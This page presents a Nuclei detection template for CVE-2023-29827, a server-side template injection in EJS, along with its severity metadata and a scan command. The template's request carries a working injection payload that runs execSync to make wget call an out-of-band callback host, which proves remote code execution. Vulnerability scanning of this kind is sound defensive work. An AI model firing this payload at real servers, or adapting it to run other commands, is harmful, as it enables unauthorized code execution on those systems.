Embedded JavaScript(EJS) 3.1.6 - Template Injection

ID: CVE-2023-29827

Severity: critical

Author: ritikchaddha

Tags: cve,cve2023,ssti,rce,ejs,oast,node.js

Description

ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.

YAML Source

id: CVE-2023-29827

info:
  name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
  author: ritikchaddha
  severity: critical
  description: |
    ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
  impact: |
    High impact as it enables remote code execution.
  remediation: |
    Update EJS to the latest version to mitigate the vulnerability.
  reference:
    - https://github.com/mde/ejs/issues/720
    - https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-29827
    cwe-id: CWE-74
    epss-score: 0.09885
    epss-percentile: 0.94826
    cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2023,ssti,rce,ejs,oast,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "You are viewing page number"
# digest: 4b0a00483046022100a5fa4bed4f40632beeeceab19a78db7ba603d0648d3ccc0312c8cecb97dae74b022100f62bfb42ab74a58a50f88ae968d125059851075c69b5c4fc99d2b06b64c87159:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29827.yaml"

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